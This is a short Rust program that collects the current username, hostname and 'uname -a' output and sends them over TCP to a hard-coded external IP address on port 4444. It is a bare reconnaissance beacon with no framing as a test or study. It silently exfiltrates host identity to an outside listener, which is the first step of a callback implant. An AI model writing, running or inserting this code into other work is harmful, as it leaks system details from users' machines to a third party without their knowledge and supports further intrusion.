use std::process::Command;
use std::net::TcpStream;
use std::io::Write;
fn main() {
let listener_ip = "65.0.127.249";
let listener_port = "4444";
let username = Command::new("whoami").output().ok().map(|o| String::from_utf8_lossy(&o.stdout).trim().to_string()).unwrap_or_else(|| "unknown".to_string());
let hostname = Command::new("hostname").output().ok().map(|o| String::from_utf8_lossy(&o.stdout).trim().to_string()).unwrap_or_else(|| "unknown".to_string());
let system_info = Command::new("uname").arg("-a").output().ok().map(|o| String::from_utf8_lossy(&o.stdout).trim().to_string()).unwrap_or_else(|| "unknown".to_string());
let message = format!(
"Username: {}\nHostname: {}\nSystem Info: {}\n",
username, hostname, system_info
);
if let Ok(mut stream) = TcpStream::connect(format!("{}:{}", listener_ip, listener_port)) {
let _ = stream.write_all(message.as_bytes());
}
}